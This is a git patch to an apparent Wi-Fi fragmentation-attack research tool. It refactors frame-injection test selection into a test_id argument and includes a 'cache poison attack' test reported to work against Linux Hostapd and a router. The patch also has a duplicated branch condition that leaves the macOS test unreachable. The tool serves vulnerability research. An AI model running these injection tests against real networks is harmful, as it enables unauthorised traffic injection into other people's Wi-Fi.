From 82385b597262b321785a0997f597b674e227b17d Mon Sep 17 00:00:00 2001 From: Mathy Date: Mon, 30 Mar 2020 13:53:56 -0400 Subject: [PATCH] fragattack: specify test ID as argument --- research/inject.py | 111 ++++++++++++++++++++++++++------------------- 1 file changed, 65 insertions(+), 46 deletions(-) diff --git a/research/inject.py b/research/inject.py index 395275b4c..4f42ceba3 100755 --- a/research/inject.py +++ b/research/inject.py @@ -164,7 +164,7 @@ class Test(metaclass=abc.ABCMeta): @abc.abstractmethod def check(self, p): - pass + return False class PingTest(Test): def __init__(self, ptype, fragments): @@ -178,6 +178,8 @@ class PingTest(Test): return self.check_fn(p) def generate(self, station): + log(STATUS, "Generating ping test", color="green") + # Generate the header and payload header, request, self.check_fn = generate_request(station, self.ptype) @@ -196,6 +198,12 @@ class LinuxTest(Test): Frag(Frag.Connected, False) ]) self.ptype = ptype + self.check_fn = None + + def check(self, p): + if self.check_fn == None: + return False + return self.check_fn(p) def generate(self, station): header, request, self.check_fn = generate_request(station, self.ptype) @@ -224,6 +232,12 @@ class MacOsTest(Test): Frag(Frag.BeforeAuth, False) ]) self.ptype = ptype + self.check_fn = None + + def check(self, p): + if self.check_fn == None: + return False + return self.check_fn(p) def generate(self, station): # First fragment is the start of an EAPOL frame @@ -236,7 +250,7 @@ class MacOsTest(Test): # By sending to broadcast, this fragment will not be reassembled # though, meaning it will be treated as a full frame (and not EAPOL). _, request, self.check_fn = generate_request(station, self.ptype) - frag2 = create_fragments(header, data=request, num_frags=1) + frag2, = create_fragments(header, data=request, num_frags=1) frag2.addr1 = "ff:ff:ff:ff:ff:ff" self.fragments[0].frame = frag1 @@ -272,9 +286,9 @@ class Station(): def __init__(self, daemon, mac, ds_status): self.daemon = daemon self.options = daemon.options + self.test = daemon.options.test self.txed_before_auth = False self.txed_before_auth_done = False - self.first_connect = True self.obtained_ip = False # Don't reset PN to have consistency over rekeys and reconnects @@ -315,7 +329,7 @@ class Station(): if self.test != None and self.test.check != None and self.test.check(p): log(STATUS, "SUCCESSFULL INJECTION", color="green") print(repr(p)) - self.test = Test() + self.test = None def send_mon(self, data, prior=1): """ @@ -385,40 +399,6 @@ class Station(): encrypted = encrypt_ccmp(frame, key, self.pn, keyid) return encrypted - def generate_tests(self): - # Simple ping as sanity check - self.test = PingTest(REQ_ICMP, - [Frag(Frag.Connected, True, flags=Frag.GetIp)]) - - # Cache poison attack. Worked against Linux Hostapd and RT-AC51U. - self.test = PingTest(REQ_ICMP, - [Frag(Frag.Connected, True), - Frag(Frag.Connected, True, flags=Frag.Reconnect)]) - - # Two fragments over different PTK keys - #self.test = self.generate_test_ping(REQ_DHCP, - # [Frag(Frag.BeforeAuth, True, wait_rekey=True), - # Frag(Frag.AfterAuth, True)]) - - # TODO: - # - Test case to check if the receiver supports interleaved priority - # reception. It seems Windows 10 / Intel might not support this. - # - Test case with a very lage aggregated frame (which is normally not - # allowed but some may accept it). And a variation to check how APs - # will forward such overly large frame (e.g. force fragmentation). - # - 1.1 Encrypted (= sanity ping test) - # 1.2 Plaintext (= text plaintext injection) - # 1.3 Encrpted, Encrypted - # 1.4 [TKIP] Encrpted, Encrypted, no global MIC - # 1.5 Plaintext, plaintext - # 1.6 Encrypted, plaintext - # 1.7 Plaintext, encrypted - # 1.8 Encrypted, plaintext, encrypted - # 1.9 Plaintext, encrypted, plaintext - # 2. Test 2 but first plaintext sent before installing key - - log(STATUS, "Constructed test case", color="green") - def handle_connecting(self, peermac): # If the address was already set, it should not be changing assert self.peermac == None or self.peermac == peermac @@ -428,16 +408,10 @@ class Station(): self.reset_keys() self.time_connected = None - # Generate test cases once we know the MAC addresses - # XXX TODO FIXME : Dynamically generate payloads when needed - if self.first_connect: - self.generate_tests() - self.first_connect = False - def inject_next_frags(self, trigger): frame = None - while self.test.next_trigger_is(trigger): + while self.test != None and self.test.next_trigger_is(trigger): Frag = self.test.next(self) if Frag.encrypted: assert self.tk != None and self.gtk != None @@ -500,6 +474,9 @@ class Station(): self.send_mon(eapol) def check_flags_and_inject(self, trigger): + if self.test == None: + return + flag = self.test.next_flag() if flag == Frag.GetIp: if self.obtained_ip: @@ -955,15 +932,57 @@ class Supplicant(Daemon): def cleanup(): daemon.stop() +def prepare_tests(test_id): + if test_id == 0: + # Simple ping as sanity check + test = PingTest(REQ_ICMP, + [Frag(Frag.Connected, True, flags=Frag.GetIp)]) + + elif test_id == 1: + # Cache poison attack. Worked against Linux Hostapd and RT-AC51U. + test = PingTest(REQ_ICMP, + [Frag(Frag.Connected, True), + Frag(Frag.Connected, True, flags=Frag.Reconnect)]) + + elif test_id == 1: + test = MacOsTest(REQ_DHCP) + + # Two fragments over different PTK keys + #self.test = self.generate_test_ping(REQ_DHCP, + # [Frag(Frag.BeforeAuth, True, wait_rekey=True), + # Frag(Frag.AfterAuth, True)]) + + # TODO: + # - Test case to check if the receiver supports interleaved priority + # reception. It seems Windows 10 / Intel might not support this. + # - Test case with a very lage aggregated frame (which is normally not + # allowed but some may accept it). And a variation to check how APs + # will forward such overly large frame (e.g. force fragmentation). + # - 1.1 Encrypted (= sanity ping test) + # 1.2 Plaintext (= text plaintext injection) + # 1.3 Encrpted, Encrypted + # 1.4 [TKIP] Encrpted, Encrypted, no global MIC + # 1.5 Plaintext, plaintext + # 1.6 Encrypted, plaintext + # 1.7 Plaintext, encrypted + # 1.8 Encrypted, plaintext, encrypted + # 1.9 Plaintext, encrypted, plaintext + # 2. Test 2 but first plaintext sent before installing key + + return test if __name__ == "__main__": - log(WARNING, "\nRemember to use a modified backports and ath9k_htc firmware!\n") + log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n") if "--help" in sys.argv or "-h" in sys.argv: print("\nSee README.md for usage instructions.") quit(1) + elif len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} interface test_id") + quit(1) options = TestOptions() options.interface = sys.argv[1] + options.test = prepare_tests(int(sys.argv[2])) # Parse remaining options start_ap = argv_pop_argument("--ap")